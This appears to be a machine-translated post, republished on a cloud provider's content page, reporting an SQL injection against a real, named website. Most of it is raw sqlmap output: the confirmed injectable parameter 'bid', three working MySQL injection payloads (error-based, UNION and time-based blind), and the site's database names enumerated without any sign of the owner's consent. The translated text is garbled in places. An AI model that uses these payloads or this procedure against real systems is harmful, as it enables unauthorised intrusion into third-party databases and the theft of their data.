I pulled an SQL injection _ MySQL from the main site.

Source: Internet
Author: User
One SQL injection on the main site

Injection point

http://www.55.la/run/ding_banner.php?bid=21022
Injection address: http://www.55.la/run/ding_banner.php? Bid = 21022

Sqlmap/1.0-dev-automatic SQL injection and database takeover tool
Http://www.sqlmap.org

[!] Legal disclaal: usage of sqlmap for attacking targets without prior mutual
Consent is illegal. It is the end user's responsibility to obey all applicable
Local, state and federal laws. Authors assume no liability and are not responsib
Le for any misuse or damage caused by this program

[*] Starting at 02:04:07

[02:04:07] [INFO] using 'C:/Users/Administrator/Desktop/penetration tool/sqlmap GUI localization
Version/rar/output/www.55.la/session 'as session file
[02:04:07] [INFO] testing connection to the target url
[02:04:07] [INFO] testing if the url is stable, wait a few seconds
[02:04:08] [INFO] url is stable
[02:04:08] [INFO] testing if GET parameter 'bid' is dynamic
[02:04:09] [INFO] confirming that GET parameter 'bid' is dynamic
[02:04:09] [INFO] GET parameter 'bid' is dynamic
[02:04:09] [INFO] heuristic test shows that GET parameter 'bid' might be injecta
Ble (possible DBMS: MySQL)
[02:04:09] [INFO] testing SQL injection on GET parameter 'bid'
[02:04:09] [INFO] testing 'AND boolean-based blind-WHERE or HAVING clause'
[02:04:10] [INFO] testing 'MySQL> = 5.0 AND error-based-WHERE or HAVING clause
'
[02:04:11] [INFO] GET parameter 'bid' is 'MySQL> = 5.0 AND error-based-WHERE o
R HAVING clause 'injectable
[02:04:11] [INFO] testing 'MySQL> 5.0.11 stacked queries'
[02:04:11] [INFO] testing 'MySQL> 5.0.11 AND time-based blind'
[02:04:21] [INFO] GET parameter 'bid' is 'MySQL> 5.0.11 AND time-based blind' I
Njectable
[02:04:21] [INFO] testing 'MySQL UNION query (NULL)-1 to 10 columns'
[02:04:24] [INFO] target url appears to be UNION injectable with 1 columns
[02:04:25] [INFO] GET parameter 'bid' is 'MySQL UNION query (NULL)-1 to 10 col
Umns 'injectable
GET parameter 'bid' is vulnerable. Do you want to keep testing the others (if
Y )? [Y/N] y
Sqlmap identified the following injection points with a total of 32 HTTP (s) requ
Ests:
---
Place: GET
Parameter: bid
Type: error-based
Title: MySQL >=5.0 AND error-based-WHERE or HAVING clause
Payload: bid = 21022 'AND (SELECT 3637 FROM (select count (*), CONCAT (0x3a6f636a3
A, (SELECT (case when (3637 = 3637) THEN 1 ELSE 0 END), 0x3a7862753a, FLOOR (RAND (0 )*
2) x FROM INFORMATION_SCHEMA.CHARACTER_SETS group by x) a) AND 'uve' = 'uyve

Type: UNION query
Title: MySQL UNION query (NULL)-1 column
Payload: bid =-1700 'Union select concat (0x3a6f636a3a, 0x676e00001505364745265,
0x3a7862753a) # AND 'expa' = 'expa'

Type: AND/OR time-based blind
Title: MySQL> 5.0.11 AND time-based blind
Payload: bid = 21022 'and sleep (5) AND 'xros' = 'xros
---

[02:04:27] [INFO] the back-end DBMS is MySQL

Web application technology: Nginx, PHP 5.3.24
Back-end DBMS: MySQL 5.0
[02:04:27] [INFO] fetching database names
[02:04:30] [INFO] the SQL query used returns 5 entries
[02:04:30] [INFO] retrieved: "information_schema"
[02:04:37] [INFO] retrieved: "help55la"
[02:04:37] [INFO] retrieved: "test"
[02:04:37] [INFO] retrieved: "u_run55_la"
[02:04:37] [INFO] retrieved: "wstp8_com"
Available databases [5]:
[*] Help55la
[*] Information_schema
[*] Test
[*] U_run55_la
[*] Wstp8_com

[02:04:37] [INFO] Fetched data logged to text files under 'C:/Users/Administrato
R/Desktop/penetration tool/sqlmap GUI Chinese version/rar/output/www.55.la'

[*] Shutting down at 02:04:37

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.